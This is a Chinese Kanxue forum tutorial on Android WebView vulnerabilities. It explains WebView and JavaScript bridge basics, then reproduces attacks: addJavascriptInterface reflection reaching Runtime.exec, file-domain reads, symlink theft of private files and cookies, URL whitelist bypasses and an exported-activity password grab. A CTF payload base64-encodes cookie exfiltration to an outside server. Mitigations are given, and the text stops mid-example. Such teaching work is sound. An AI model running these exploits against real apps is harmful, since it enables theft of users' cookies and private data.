本文为看雪论坛精华文章
看雪论坛作者ID:随风而行aa
一
前言
今天我们进入Android APP漏洞之战系列文章中的一个重要篇幅——WebView漏洞,我们都知道在当下App漏洞中,WebView漏洞的占比是十分巨大的,各种类型的漏洞问题层出不穷,这篇文章就带着大家一起揭开WebView漏洞神奇的面纱。
二
基础知识
显示和渲染Web页面
直接使用html文件(网络上或本地assets中)作布局
可和JavaScript交互调用
1.在布局文件中添加WebView控件;
2.在代码中让WebView控件加载显示网页。
<WebView
android:id="@+id/Wind_webview"
android:layout_width="match_parent"
android:layout_height="match_parent" />
//获得控件
WebView webView = (WebView) findViewById(R.id.Wind_webview);
//访问网页
webView.loadUrl("http://www.baidu.com");
//系统默认会通过手机浏览器打开网页,为了能够直接通过WebView显示网页,则必须设置
webView.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
//使用WebView加载显示url
view.loadUrl(url);
//返回true
return true;
}
});
<!-- 添加网络权限 -->
<uses-permission android:name="android.permission.INTERNET" />
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Carson</title>
<script>
function callAndroid(){
//由于对象映射,所以调用test对象等于调用Android映射的对象
test.hello("WindXaa!");
}
</script>
</head>
<body>
<!--点击按钮则调用callAndroid函数-->
<button type="button" id="button1" onclick="callAndroid()">Internet Click connect</button>
</body>
</html>
{
WebView mWebView = (WebView) findViewById(R.id.Wind_webview1);
WebSettings webSettings = mWebView.getSettings();
// 设置与Js交互的权限
webSettings.setJavaScriptEnabled(true);
// 通过addJavascriptInterface()将Java对象映射到JS对象
//参数1:Javascript对象名
//参数2:Java对象名
mWebView.addJavascriptInterface(new AndroidtoJs(), "test");//AndroidtoJS类对象映射到js的test对象
mWebView.loadData("","text/html",null);
// 加载JS代码
// 格式规定为:file:///android_asset/文件名.html
// mWebView.loadUrl("file:///android_asset/javascript.html");
mWebView.loadUrl("http://ip地址填自己的/attack.html");
}
/**
* 提供接口在Webview中供JS调用
*/
public class AndroidtoJs {
// 定义JS需要调用的方法,被JS调用的方法必须加入@JavascriptInterface注解
@JavascriptInterface
public void hello(String msg) {
Log.e("WindXaa","Hello," + msg);
}
}
WebView的状态:webView.onResume();
// 激活WebView为活跃状态,能正常执行网页的响应
webView.onPause();
// 当页面被失去焦点被切换到后台不可见状态,需要执行onPause
// 通过onPause动作通知内核暂停所有的动作,比如DOM的解析、plugin的执行、JavaScript执行。
webView.pauseTimers()
// 当应用程序(存在webview)被切换到后台时,这个方法不仅仅针对当前的webview而是全局的全应用程序的webview
// 它会暂停所有webview的layout,parsing,javascripttimer。降低CPU功耗。
// 恢复pauseTimers状态
rootLayout.removeView(webView)
webView.destory()
// webview调用destory时,webview仍绑定在Activity上
// 需要先从父容器中移除webview,然后再销毁webview
//是否可以后退
Webview.canGoBack()
//后退网页
Webview.goBack()
//是否可以前进
Webview.canGoForward()
//前进网页
Webview.goForward()
//以当前的index为起始点前进或者后退到历史记录中指定的steps
//如果steps为负数则为后退,正数则为前进
Webview.goBackOrForward(intsteps)
public boolean onKeyDown(int keyCode, KeyEvent event) {
if ((keyCode == KEYCODE_BACK) && mWebView.canGoBack()) {
mWebView.goBack();
return true;
}
return super.onKeyDown(keyCode, event);
}
//清除网页访问留下的缓存
//由于内核缓存是全局的因此这个方法不仅仅针对webview而是针对整个应用程序.
Webview.clearCache(true);
//清除当前webview访问的历史记录
//只会webview访问历史记录里的所有记录除了当前访问记录
Webview.clearHistory();
//这个api仅仅清除自动完成填充的表单数据,并不会清除WebView存储到本地的数据
Webview.clearFormData();
<uses-permission android:name="android.permission.INTERNET"/>
//方式1:直接在在Activity中生成
WebView webView = new WebView(this)
//方法2:在Activity的layout文件里添加webview控件:
WebView webview = (WebView) findViewById(R.id.webView1);
//声明WebSettings子类
WebSettings webSettings = webView.getSettings();
//如果访问的页面中要与Javascript交互,则webview必须设置支持Javascript
webSettings.setJavaScriptEnabled(true);
//支持插件
webSettings.setPluginsEnabled(true);
//设置自适应屏幕,两者合用
webSettings.setUseWideViewPort(true); //将图片调整到适合webview的大小
webSettings.setLoadWithOverviewMode(true); // 缩放至屏幕的大小
//缩放操作
webSettings.setSupportZoom(true); //支持缩放,默认为true。是下面那个的前提。
webSettings.setBuiltInZoomControls(true); //设置内置的缩放控件。若为false,则该WebView不可缩放
webSettings.setDisplayZoomControls(false); //隐藏原生的缩放控件
//其他细节操作
webSettings.setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK); //关闭webview中缓存
webSettings.setAllowFileAccess(true); //设置可以访问文件
webSettings.setJavaScriptCanOpenWindowsAutomatically(true); //支持通过JS打开新窗口
webSettings.setLoadsImagesAutomatically(true); //支持自动加载图片
webSettings.setDefaultTextEncodingName("utf-8");//设置编码格式
当加载 html 页面时,WebView会在/data/data/包名目录下生成 database 与 cache 两个文件夹
请求的 URL记录保存在 WebViewCache.db,而 URL的内容是保存在 WebViewCache 文件夹下
是否启用缓存:
//优先使用缓存
WebView.getSettings().setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK);
//缓存模式如下:
//LOAD_CACHE_ONLY: 不使用网络,只读取本地缓存数据
//LOAD_DEFAULT: (默认)根据cache-control决定是否从网络上取数据。
//LOAD_NO_CACHE: 不使用缓存,只从网络获取数据.
//LOAD_CACHE_ELSE_NETWORK,只要本地有,无论是否过期,或者no-cache,都使用缓存中的数据
//不使用缓存
WebView.getSettings().setCacheMode(WebSettings.LOAD_NO_CACHE);
//Webview控件
Webview webview = (WebView) findViewById(R.id.webView);
//加载一个网页
webView.loadUrl("http://www.google.com/");
//重写shouldOverrideUrlLoading()方法,使得打开网页时不调用系统浏览器, 而是在本WebView中显示
webView.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
view.loadUrl(url);
return true;
}
});
webView.setWebViewClient(new WebViewClient(){
@Override
public void onPageStarted(WebView view, String url, Bitmap favicon) {
//设定加载开始的操作
}
});
webView.setWebViewClient(new WebViewClient(){
@Override
public boolean onLoadResource(WebView view, String url) {
//设定加载资源的操作
}
});
//步骤1:写一个html文件(error_handle.html),用于出错时展示给用户看的提示页面
//步骤2:将该html文件放置到代码根目录的assets文件夹下
//步骤3:复写WebViewClient的onRecievedError方法
//该方法传回了错误码,根据错误类型可以进行不同的错误分类处理
webView.setWebViewClient(new WebViewClient(){
@Override
public void onReceivedError(WebView view, int errorCode, String description, String failingUrl){
switch(errorCode)
{
case HttpStatus.SC_NOT_FOUND:
view.loadUrl("file:///android_assets/error_handle.html");
break;
}
}
});
webView.setWebViewClient(new WebViewClient() {
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
handler.proceed(); //表示等待证书响应
// handler.cancel(); //表示挂起连接,为默认方式
// handler.handleMessage(null); //可做其他处理
}
});
webview.setWebChromeClient(new WebChromeClient(){
@Override
public void onProgressChanged(WebView view, int newProgress) {
if (newProgress < 100) {
String progress = newProgress + "%";
progress.setText(progress);
} else {
}
});
webview.setWebChromeClient(new WebChromeClient(){
@Override
public void onReceivedTitle(WebView view, String title) {
titleview.setText(title);
}
<html>
<head>
<meta charset="utf-8">
<title>测试</title>
<script>
function callJS(){
alert("Android调用了JS的callJS方法");
}
</script>
</head>
<body>
<h1>Android调用JS方法测试</h1>
</body>
</html>
// 设置与Js交互的权限
webSettings.setJavaScriptEnabled(true);
// 设置允许JS弹窗
webSettings.setJavaScriptCanOpenWindowsAutomatically(true);
// 先载入JS代码
// 格式规定为:file:///android_asset/文件名.html
mWebView.loadUrl("file:///android_asset/AndroJs.html");
Button button = (Button) findViewById(R.id.button);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
// 通过Handler发送消息
mWebView.post(new Runnable() {
@Override
public void run() {
// 注意调用的JS方法名要对应上
// 调用javascript的callJS()方法
mWebView.loadUrl("javascript:callJS()");
}
});
}
});
// 由于设置了弹窗检验调用结果,所以需要支持js对话框
// webview只是载体,内容的渲染需要使用webviewChromClient类去实现
// 通过设置WebChromeClient对象处理JavaScript的对话框
//设置响应js 的Alert()函数
mWebView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {
AlertDialog.Builder b = new AlertDialog.Builder(MainActivity.this);
b.setTitle("Alert");
b.setMessage(message);
b.setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
result.confirm();
}
});
b.setCancelable(false);
b.create().show();
return true;
}
});
onPageFinished()属于WebViewClient类的方法,主要在页面加载结束时调用
因为该方法的执行不会使页面刷新,而第一种方法(loadUrl )的执行则会。
Android 4.4 后才可使用
//使用evaluateJavascript来加载
mWebView.evaluateJavascript("javascript:callJS()", new ValueCallback<String>() {
@Override
public void onReceiveValue(String value) {
//此处为 js 返回的结果
}
});
//JS调用Android
<html>
<head>
<meta charset="utf-8">
<title>Carson</title>
<script>
function callAndroid(){
//由于对象映射,所以调用test对象等于调用Android映射的对象
test.hello("WindXaa js调用了android中的hello方法");
}
</script>
</head>
<body>
<!--点击按钮则调用callAndroid函数-->
<button type="button" id="button1" onclick="callAndroid()">Click Attack</button>
</body>
</html>
public class JsToAndroActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_js_to_andro);
WebView mWebView = (WebView) findViewById(R.id.Wind_webview1);
WebSettings webSettings = mWebView.getSettings();
// 设置与Js交互的权限
webSettings.setJavaScriptEnabled(true);
// 通过addJavascriptInterface()将Java对象映射到JS对象
//参数1:Javascript对象名
//参数2:Java对象名
mWebView.addJavascriptInterface(new AndroidtoJs(), "test");//AndroidtoJS类对象映射到js的test对象
// 加载JS代码
// 格式规定为:file:///android_asset/文件名.html
mWebView.loadUrl("file:///android_asset/javascript.html");
}
/**
* 提供接口在Webview中供JS调用
*/
public class AndroidtoJs {
// 定义JS需要调用的方法,被JS调用的方法必须加入@JavascriptInterface注解
@JavascriptInterface
public void hello(String msg) {
Log.e("WindXaa","Hello," + msg);
}
}
}
(1)Android通过 WebViewClient 的回调方法shouldOverrideUrlLoading ()拦截 url
(2)解析该 url 的协议
(3)如果检测到是预先约定好的协议,就调用相应方法
<html>
<head>
<meta charset="utf-8">
<title>Carson_Ho</title>
<script>
function callAndroid(){
/*约定的url协议为:js://webview?arg1=WindXaa&arg2=attack*/
document.location = "js://webview?arg1=WindXaa&arg2=attack";
}
</script>
</head>
<!-- 点击按钮则调用callAndroid()方法 -->
<body>
<button type="button" id="button1" onclick="callAndroid()">点击调用Android代码</button>
</body>
</html>
WebView mWebView = (WebView) findViewById(R.id.Wind_webview2);
WebSettings webSettings = mWebView.getSettings();
// 设置与Js交互的权限
webSettings.setJavaScriptEnabled(true);
// 设置允许JS弹窗
webSettings.setJavaScriptCanOpenWindowsAutomatically(true);
// 步骤1:加载JS代码
// 格式规定为:file:///android_asset/文件名.html
mWebView.loadUrl("file:///android_asset/javascript1.html");
// 复写WebViewClient类的shouldOverrideUrlLoading方法
mWebView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
// 步骤2:根据协议的参数,判断是否是所需要的url
// 一般根据scheme(协议格式) & authority(协议名)判断(前两个参数)
//约定的url协议为:js://webview?arg1=WindXaa&arg2=attack(同时也是约定好的需要拦截的)
Uri uri = Uri.parse(url);
// 如果url的协议 = 预先约定的 js 协议
// 就解析往下解析参数
if ( uri.getScheme().equals("js")) {
// 如果 authority = 预先约定协议里的 webview,即代表都符合约定的协议
// 所以拦截url,下面JS开始调用Android需要的方法
if (uri.getAuthority().equals("webview")) {
// 步骤3:
// 执行JS所需要调用的逻辑
System.out.println("js调用了Android的方法");
// 可以在协议上带有参数并传递到Android上
HashMap<String, String> params = new HashMap<>();
Set<String> collection = uri.getQueryParameterNames();
Log.e("WindXaa",params.get(0)+"---"+params.get(1));
}
return true;
}
return super.shouldOverrideUrlLoading(view, url);
}
}
);
<html>
<head>
<meta charset="utf-8">
<title>Carson_Ho</title>
<script>
function clickprompt(){
// 调用prompt()
var result=prompt("js://webview?arg1=WindXaa&arg2=attack");
alert("demo " + result);
}
</script>
</head>
<!-- 点击按钮则调用clickprompt() -->
<body>
<button type="button" id="button1" onclick="clickprompt()">点击调用Android代码</button>
</body>
</html>
WebView mWebView = (WebView) findViewById(R.id.Wind_webview3);
WebSettings webSettings = mWebView.getSettings();
// 设置与Js交互的权限
webSettings.setJavaScriptEnabled(true);
// 设置允许JS弹窗
webSettings.setJavaScriptCanOpenWindowsAutomatically(true);
// 先加载JS代码
// 格式规定为:file:///android_asset/文件名.html
mWebView.loadUrl("file:///android_asset/javascript2.html");
mWebView.setWebChromeClient(new WebChromeClient() {
// 拦截输入框(原理同方式2)
// 参数message:代表promt()的内容(不是url)
// 参数result:代表输入框的返回值
@Override
public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
// 根据协议的参数,判断是否是所需要的url(原理同方式2)
// 一般根据scheme(协议格式) & authority(协议名)判断(前两个参数)
Uri uri = Uri.parse(message);
// 如果url的协议 = 预先约定的 js 协议
// 就解析往下解析参数
if (uri.getScheme().equals("js")) {
//js://webview?arg1=WindXaa&arg2=attack
// 如果 authority = 预先约定协议里的 webview,即代表都符合约定的协议
// 所以拦截url,下面JS开始调用Android需要的方法
if (uri.getAuthority().equals("webview")) {
// 执行JS所需要调用的逻辑
System.out.println("js调用了Android的方法");
// 可以在协议上带有参数并传递到Android上
HashMap<String, String> params = new HashMap<>();
Set<String> collection = uri.getQueryParameterNames();
//参数result:代表消息框的返回值(输入值)
result.confirm("js调用了Android的方法成功啦");
}
return true;
}
return super.onJsPrompt(view, url, message, defaultValue, result);
}
});
// 拦截JS的警告框
@Override
public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
return super.onJsAlert(view, url, message, result);
}
// 拦截JS的确认框
@Override
public boolean onJsConfirm(WebView view, String url, String message, JsResult result) {
return super.onJsConfirm(view, url, message, result);
}
三
WebView的漏洞面
四二
WebView的漏洞原理和复现
webView.addJavascriptInterface(new JSObject(), "myObj");
// 参数1:Android的本地对象
// 参数2:JS的对象
// 通过对象映射将Android中的本地对象和JS中的对象进行关联,从而实现JS调用Android的对象和方法
(1)Android中的对象有一公共的方法:getClass()
(2)该方法可以获取到当前类 类型Class
(3)该类有一关键的方法:Class.forName;
(4)该方法可以加载一个类(可加载 java.lang.Runtime 类)
(5)而该类是可以执行本地命令的
function execute(cmdArgs)
{
// 步骤1:遍历 window 对象
// 目的是为了找到包含 getClass ()的对象
// 因为Android映射的JS对象也在window中,所以肯定会遍历到
for (var obj in window) {
if ("getClass" in window[obj]) {
// 步骤2:利用反射调用forName()得到Runtime类对象
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
// 步骤3:以后,就可以调用静态方法来执行一些命令,比如访问文件的命令
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
// 从执行命令后返回的输入流中得到字符串,有很严重暴露隐私的危险。
// 如执行完访问文件的命令之后,就可以得到文件名的信息了。
}
}
}
// 通过调用该方法删除接口
removeJavascriptInterface();
mWebView.setSavePassword(true)`
<script>
function loadXMLDoc()
{
var arm = "file:///etc/hosts";
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange=function()
{
//alert("status is"+xmlhttp.status);
if (xmlhttp.readyState==4)
{
console.log(xmlhttp.responseText);
}
}
xmlhttp.open("GET",arm);
xmlhttp.send(null);
}
loadXMLDoc();
</script>
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_file_web_view);
WebView webView = findViewById(R.id.Wind_webview0);
//设置是否允许 WebView 使用 File 协议
webView.getSettings().setAllowFileAccess(true);
//设置是否允许 WebView 使用 JavaScript
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("file:///data/local/tmp/fileAttack.html");
}
<script>
function loadXMLDoc()
{
var arm = "https://bbs.pediy.com/";
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange=function()
{
//alert("status is"+xmlhttp.status);
if (xmlhttp.readyState==4)
{
console.log(xmlhttp.responseText);
}
}
xmlhttp.open("GET",arm);
xmlhttp.send(null);
}
loadXMLDoc();
</script>
检查应用是否使用了 webview 控件;
避免 App 内部的 WebView 被不信任的第三方调用,排查内置 WebView 的 Activity 是否被导出、必须导出的 Activity 是否会通过参数传递调起内置的WebView等;
file 域访问为非功能需求时,手动配置 setAllowFileAccessFromFileURLs 或 setAllowUniversalAccessFromFileURLs 两个 API 为 false(Android 4.1 版本之前这两个 API 默认是 true,需要显式设置为 false);
固定不变的 HTML 文件可以放在 assets 或 res 目录下,file:///android_asset 和 file:///android_res 在不开启 API 的情况下也可以访问;
可能会更新的 HTML 文件放在 /data/data/(app) 目录下,避免被第三方替换或修改;
对 file 域请求做白名单限制时,需要对“…/…/”特殊情况进行处理,避免白名单被绕过。
(在该命令执行前 xx.html 是不存在的;执行完这条命令之后,就生成了这个文件,并且将 Cookie 文件链接到了 xx.html 上。)
1. 把恶意的 js 代码输出到攻击应用的目录下,随机命名为 xx.html,修改该目录的权限;\
2. 修改后休眠 1s,让文件操作完成;\
3. 完成后通过系统的 Chrome 应用去打开该 xx.html 文件\
4. 等待 4s 让 Chrome 加载完成该 html,最后将该 html 删除,并且使用 ln -s 命令为 Chrome 的 Cookie 文件创建软连接,\
于是就可通过链接来访问 Chrome 的 Cookie
#恶意APP的HTML,被检测APP加载此html,执行JS代码
<html>
<body></body>
<script>
var d = document;
function loadDatabase()
{
var file_url = d.URL;
var xmlhttp =new XMLHttpRequest();
xmlhttp.onload=function() {
document.body.appendChild(d.createTextNode(xmlhttp.responseText))
alert(xmlhttp.responseText);
}
xmlhttp.open("GET",file_url);
xmlhttp.send(null);
}
setTimeout(loadDatabase(),8000); #延迟8秒执行。利用时间差和软链接来获取被攻击APP的私有文件
</script>
</html>
#恶意APP的攻击代码
try {
String HTML = "恶意APP的HTML,在上面的HTML代码";
#新建文件夹,用于存放恶意HTML文件
cmdexec("mkdir /data/data/mm.xxxxx.testdemo3/files");
#将恶意HTML到恶意APP的沙盒目录
cmdexec("echo \"" + HTML + "\" > /data/data/mm.xxxxx.testdemo3/files/attack.html");
#授权目录及其文件权限,允许其它应用访问
cmdexec("chmod -R 777 /data/data/mm.xxxxx.testdemo3/files");
Thread.sleep(1000);
#启动被攻击的APP,并携带恶意HTML
invokeVulnAPP("file://" + HTML_PATH);
#延时6秒
Thread.sleep(6000);
#删除HTML文件
cmdexec("rm " + HTML_PATH);
#软链接文件,实现读取被攻击应用的private.txt文件
cmdexec("ln -s " + "/data/data/mm.xxxxx.testdemo3/files/private.txt" + " " + HTML_PATH);
} catch (Exception e) {
// TODO: handle exception
}
#被攻击的APP,有漏洞的代码
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true); 允许加载File域
Intent i = getIntent();
if (i != null) {
mUri = i.getData(); #取出了恶意HTML
}
if (mUri != null) {
url = mUri.toString();
}
if (url != null) {
webView.loadUrl(url); #加载了恶意HTML
}
1、设置setAllowFileAccess方法为false,设置setAllowFileAccessFromFileURLs和setAllowUniversalAccessFromFileURLs为false。
2、在Android4.0(API15)及以下得采用其他方法进行手动校验是否访问file域
3、当WebView所在Activity存在组件暴露时,若不是必要的组件暴露,应该禁止组件暴露
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>evil</title>
</head>
<body>
<h1>injected cookie with xss</h1>
<script>
document.cookie = "sendData = '<img src=\"evil\" onerror=\"eval(atob('dmFyIGJhc2VVcmwgPSAiaHR0cDovLzEwLjcuODkuMTA4L015VGVzdC9SZWNlaXZlU2VydmxldD8iCm5ldyBJbWFnZSgpLnNyYyA9IGJhc2VVcmwgKyAiY29va2llPSIgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImh0bWwiKVswXS5pbm5lckhUTUwpOw=='))\">'"
var baseUrl = "http://****/MyTest/ReceiveServlet?"
new Image().src = baseUrl + "cookie=" + encodeURIComponent("open evil page.");
setTimeout(function() {
location.href = 'intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=file%3A%2Fdata%2Fuser%2F0%2Fcom.bytectf.pwneasydroid%2Fsymlink.html;end';
}, 40000);
</script>
</body>
</html>
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
symlink();
Intent intent \= new Intent();
intent.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.MainActivity");
intent.setData(Uri.parse("http://[email protected]****/easydroid.html"));
startActivity(intent);
}
private String symlink() {
try {
String root \= getApplicationInfo().dataDir;
String symlink \= root + "/symlink.html";
String cookies \= getPackageManager().getApplicationInfo("com.bytectf.easydroid", 0).dataDir + "/app_webview/Cookies";
Runtime.getRuntime().exec("rm " + symlink).waitFor();
Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor();
Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
return symlink;
} catch (Throwable th) {
throw new RuntimeException(th);
}
}
scheme://login:[email protected]:port/path/to/resource/?query_string#fragment
scheme
不区分大小写,包括http、https、file、ftp等等,:之后的“//”可省略,例如http:www.qq.com, 此外,多数浏览器在scheme之前加空格也是可以正常解析的
login:[email protected](认证信息)
服务器有时候需要用户名和密码认证,ftp协议比较常见,http很少见,但这个不常见字段往往可以绕过很多检查
address
address字段可以是一个不区分大小写的域名、一个ipv4地址或带方括号的ipv6地址,部分浏览器接收ip地址的八进制、十进制、十六进制等写法
port
端口号
/path/to/resource
层级路径,可以使用“../”到上一级目录
query_string
查询字符串,格式为”query_string?name1=value1&name2=value2”
fragment
用于html中的页面定位
if(checkDomain(url)){
enableJavaScriptInterface();
//或者webview.load(url)
}
if(url.startsWith("file://")){
setJavaScriptEnbled(false);
}else{
setJavaScriptEnbled(true);
}
(1) 大写字母 “File://”
(2) 前面加上空格:“ file://”
(3) 字符编码:“file:%2F/”
(4) 可正常访问的畸形路径:“file:sdcard/attack/html” 或 “file:/\//sdcard/attack.html”
if(host.endsWith("mysite.com")){
enableJavascriptInterface();
}
绕过:evilmysite.com
修复:endsWith(".mysite.com")
if(host.startsWith("mysite.com")){
enableJavascriptInterface();
}
绕过:[email protected]
任何可以添加字符串的字段
子域名 huawei.com.mysite.com
子路径 mysite.com/huawei.com
参数 mysite.com/xxxx#huawei.com
private static boolean checkDomain(String inputUrl)
{
String[] whiteList=new String[]{"huawei.com","hicloud.com"};
String tempStr=inputUrl.replace("://","");
String inputDomain=tempStr.substring(0,tempStr.indexOf("/")); //提取host
for (String whiteDomain:whiteList)
{
if (inputDomain.indexOf(whiteDomain)>0)
return true;
}
return false;
}
子域名 huawei.com.mysite.com
http://[email protected]/poc.htm
http://a:[email protected]:[email protected] 在android中使用getHost获取到的是huawei.com,但实际访问的是baidu.com
"insecureshop://com.insecureshop/web?url=https://www.baidu.com"
"insecureshop://com.insecureshop/webview?url=http://www.baidu.com?-insecureshopapp.com"
adb shell am start -W -a android.intent.action.VIEW -d URI的值
Uri uri = getIntent().getData();
boolean isValidUrl = "https".equals(uri.getScheme()) && uri.getUserInfo() == null && "legitimate.com".equals(uri.getHost());
if (isValidUrl) {
webView.loadUrl(uri.toString(), getAuthHeaders());
}
public class MainActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri uri;
try {
//java反射获取类引用
Class partClass = Class.forName("android.net.Uri$Part");
Constructor partConstructor = partClass.getDeclaredConstructors()[0];
partConstructor.setAccessible(true);
Class pathPartClass = Class.forName("android.net.Uri$PathPart");
Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
pathPartConstructor.setAccessible(true);
Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
hierarchicalUriConstructor.setAccessible(true);
//构造HierachicalUri实例
Object authority = partConstructor.newInstance("legitimate.com", "legitimate.com");
Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");
uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
}
catch (Exception e) {
throw new RuntimeException(e);
}
Intent intent = new Intent();
intent.setData(uri);
intent.setClass(this, TestActivity.class);
startActivity(intent);
}
}
public class TestActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
Uri uri = intent.getData();
Log.d("evil", "Scheme: " + uri.getScheme());
Log.d("evil", "UserInfo: " + uri.getUserInfo());
Log.d("evil", "Host: " + uri.getHost());
Log.d("evil", "toString(): " + uri.toString());
}
}
Uri uri = Uri.parse(intent.getData().toString());
1.//解析Intent Scheme URL
2. Intent intent = Intent.parseUri(uri, flags);
3.//禁止打开没有BROWSABLE标签的Activity
4. intent.addCategory ( "android.intent.category.BROWSABLE" );
5.//禁止设置intent的组件
6. intent.setComponent( nu1l);
7.//禁止设置intent的selector
8. intent.setSelector(nul1);
9.//打开intent指向的activity
10.context.startActivityIfNeeded(intent,-1);
<script>
alert(window.myObj.getToken());
</script>
public class URLWebView extends AppCompatActivity {
class JsObject {
@JavascriptInterface
public String getToken() {
Log.e("rebeyond","i am in getToken");
return "{\"token\":\"1234567890abcdefg\"}";
}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_url_web_view);
WebView webView = (WebView) findViewById(R.id.Wind_webview4);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebViewClient(new WebViewClient());
webView.setWebChromeClient(new WebChromeClient());
webView.addJavascriptInterface(new JsObject(),"myObj");
String inputUrl="https://www.site1.com/redirect.php?url=http://223.****:8080/poc.htm"; //ip地址自己写自己的
try {
if (checkDomain(inputUrl))
{
Log.e("rebeyond","i am a white domain");
//webView.loadUrl(inputUrl);
}
} catch (URISyntaxException e) {
e.printStackTrace();
}
}
private static boolean checkDomain(String inputUrl) throws URISyntaxException {
if (!inputUrl.startsWith("http://")&&!inputUrl.startsWith("https://"))
{
return false;
}
String[] whiteList=new String[]{"site1.com","site2.com"};
java.net.URI url=new java.net.URI(inputUrl);
String inputDomain=url.getHost(); //提取host
for (String whiteDomain:whiteList)
{
if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com app.site2.com
return true;
}
return false;
}
}
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
if(chechDomain(request.getUrl().toString())){
return false; //通过检查,允许跳转
}
return true; //未通过检查,允许跳转
}
(1)不要用url.startWith(”file://”)来判断是否为file协议,因为“FILE://”(大小)、“File://”(大小写)、“ file://”(前边加空格)、“file:”等方式都可以绕过检测。url.contains(“file://”)更不靠谱,推荐使用getScheme()来判断协议;
(2)file:///android_asset和file:///android_res 也可以../穿越
(3)白名单判断了“../,但通过“..\”也是可以穿越的,例如file:///sdcard/..\../sdcard/1.html
(4)getHost有漏洞(file://a:[email protected]:[email protected]使用getHost获取到的是qq.com,但实际访问的是baidu.com)
(5)file://baidu.com/data/data/tmp 前边的baidu.com是可以不被解析的
(6)协议头不包括///,还是仍然能够正常loadUrl,如file:mnt/sdcard/filedomain.html
(7)白名单判断了“../”,但通过url编码绕过,例如file:///data/data/com.app/%2e%2e/%2e%2e/%2e%2e/sdcard/xxx
(8)replace(“../“,””)可以使用”….//“绕过
public class JsIntentActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_js_intent);
WebView webView = findViewById(R.id.Wind_webviewIntent);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new AndroidtoJs(), "test");
webView.loadData("", "text/html", null);
Uri getUri = getIntent().getData();
webView.loadUrl(String.valueOf(getUri));
}
/**
* 提供接口在Webview中供JS调用
*/
public class AndroidtoJs {
// 定义JS需要调用的方法,被JS调用的方法必须加入@JavascriptInterface注解
@JavascriptInterface
public String getPassword() {
return "WindXaa12345678";
}
}
}
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button button = findViewById(R.id.button);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent attackIntent = new Intent();
attackIntent.setClassName("com.iwindxaa.webview","com.iwindxaa.webview.JsIntentActivity");
attackIntent.setData(Uri.parse("http://ip地址端口号/attack.html"));
startActivity(attackIntent);
}
});
}
}
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>WebView Atack</title>
<script>
function callAndroid(){
//由于对象映射,所以调用test对象等于调用Android映射的对象
var password = test.getPassword();
document.getElementById("getdata").innerHTML= password;
}
</script>
</head>
<body>
<p id="getdata">攻击获得的数据将显示在此……</p>
<!--点击按钮则调用callAndroid函数-->
<button type="button" id="button1" onclick="callAndroid()">CIntent Attack!</button>
</body>
</html>
1.在AndroidManifest.xml中的组件如果显式设置了组件属性android:exported值为true;
2.如果组件没有显式设置android:exported为false,但是其intent-filter以及action存在,则也为导出组件
3.API Level在17以下的所有App的provider组件的android:exported属性默认值为true,17及以上默认值为false。
组件显式设置android:exported="false"
组件没有intent-filter, 且没有显式设置android:exported的属性值,默认为非导出的;
组件虽然配置了intent-filter,,但是显式设置android:exported="false"
void loadDataWithBaseURL
(String baseUrl,
String data,
String mimeType,
String encoding,
String historyUrl)
webView.loadDataWithBaseURL("https://google.com/",
